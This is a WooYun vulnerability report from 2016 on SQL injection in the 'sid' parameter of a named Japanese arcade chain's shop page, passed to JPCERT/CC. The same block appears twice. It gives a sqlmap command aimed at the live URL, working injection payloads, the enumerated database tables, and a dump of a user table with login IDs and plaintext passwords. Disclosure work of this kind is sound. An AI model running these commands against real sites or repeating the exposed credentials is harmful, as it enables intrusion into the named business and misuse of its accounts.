当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0214829

漏洞标题:日本某大型游戏机连锁店存在sql注入

相关厂商:atime.co.jp

漏洞作者: 路人甲

提交时间:2016-05-31 17:14

修复时间:2016-07-16 09:40

公开时间:2016-07-16 09:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(日本国家互联网应急中心(JPCERT/CC))处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-31: 细节已通知厂商并且等待厂商处理中
2016-06-01: 厂商已经确认,细节仅向厂商公开
2016-06-11: 细节向核心白帽子及相关领域专家公开
2016-06-21: 细节向普通白帽子公开
2016-07-01: 细节向实习白帽子公开
2016-07-16: 细节向公众公开

简要描述:

RT

详细说明:

官方网址:http://www.atime.co.jp,存在注入的网址:http://www.atime.co.jp/shop.php?sid=1 蚕食sid存在注入,放入sqlmap如下:
C:\Python27\SQLMap>sqlmap.py -u "http://www.atime.co.jp/shop.php?sid=1" --dbs --time-sec 2
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=1 AND 9458=9458
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: sid=1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR(58,108,100,103,58),IFNULL(CAST(CHAR(108,114,110,112,85,120,87,79,116,69) AS CHAR),CHAR(32)),CHAR(58,113,121,111,58)), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sid=1 AND SLEEP(2)
---
[15:10:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[15:10:21] [INFO] fetching database names
available databases [1]:
[*] LA04659038-atime1227
数据库LA04659038-atime1227里面有11张表如下:
Database: `LA04659038-atime1227`
[11 tables]
+-------------------+
| atm_blog |
| atm_blog_category |
| atm_blog_image |
| atm_gallery |
| atm_machine |
| atm_news |
| atm_ranking |
| atm_recruit |
| atm_setting |
| atm_shop |
| client_user |
+-------------------+
查看client_user表
Database: `LA04659038-atime1227`
Table: client_user
[5 columns]
+------------------+--------------+
| Column | Type |
+------------------+--------------+
| registration_day | datetime |
| user_id | bigint(20) |
| user_login_id | varchar(30) |
| user_login_pwd | varchar(30) |
| user_name | varchar(255) |
+------------------+--------------+
表数据:
database '`LA04659038-atime1227`'
Database: `LA04659038-atime1227`
Table: client_user
[2 entries]
+---------+---------------+----------------+-----------+
| user_id | user_login_id | user_login_pwd | user_name |
+---------+---------------+----------------+-----------+
| 2 | taka | takaherc | HERC |
| 4 | atime | atime777 | ATIME |
+---------+---------------+----------------+-----------+
明文密码。

漏洞证明:

官方网址:http://www.atime.co.jp,存在注入的网址:http://www.atime.co.jp/shop.php?sid=1 蚕食sid存在注入,放入sqlmap如下:
C:\Python27\SQLMap>sqlmap.py -u "http://www.atime.co.jp/shop.php?sid=1" --dbs --time-sec 2
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=1 AND 9458=9458
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: sid=1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR(58,108,100,103,58),IFNULL(CAST(CHAR(108,114,110,112,85,120,87,79,116,69) AS CHAR),CHAR(32)),CHAR(58,113,121,111,58)), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sid=1 AND SLEEP(2)
---
[15:10:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[15:10:21] [INFO] fetching database names
available databases [1]:
[*] LA04659038-atime1227
数据库LA04659038-atime1227里面有11张表如下:
Database: `LA04659038-atime1227`
[11 tables]
+-------------------+
| atm_blog |
| atm_blog_category |
| atm_blog_image |
| atm_gallery |
| atm_machine |
| atm_news |
| atm_ranking |
| atm_recruit |
| atm_setting |
| atm_shop |
| client_user |
+-------------------+
查看client_user表
Database: `LA04659038-atime1227`
Table: client_user
[5 columns]
+------------------+--------------+
| Column | Type |
+------------------+--------------+
| registration_day | datetime |
| user_id | bigint(20) |
| user_login_id | varchar(30) |
| user_login_pwd | varchar(30) |
| user_name | varchar(255) |
+------------------+--------------+
表数据:
database '`LA04659038-atime1227`'
Database: `LA04659038-atime1227`
Table: client_user
[2 entries]
+---------+---------------+----------------+-----------+
| user_id | user_login_id | user_login_pwd | user_name |
+---------+---------------+----------------+-----------+
| 2 | taka | takaherc | HERC |
| 4 | atime | atime777 | ATIME |
+---------+---------------+----------------+-----------+
明文密码。

修复方案:

修复

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2016-06-01 09:30

厂商回复:

最新状态:

2016-06-01:Hello 路人甲.This is JPCERT/CC.Thank you for your information.We will notify this information to the site administrator.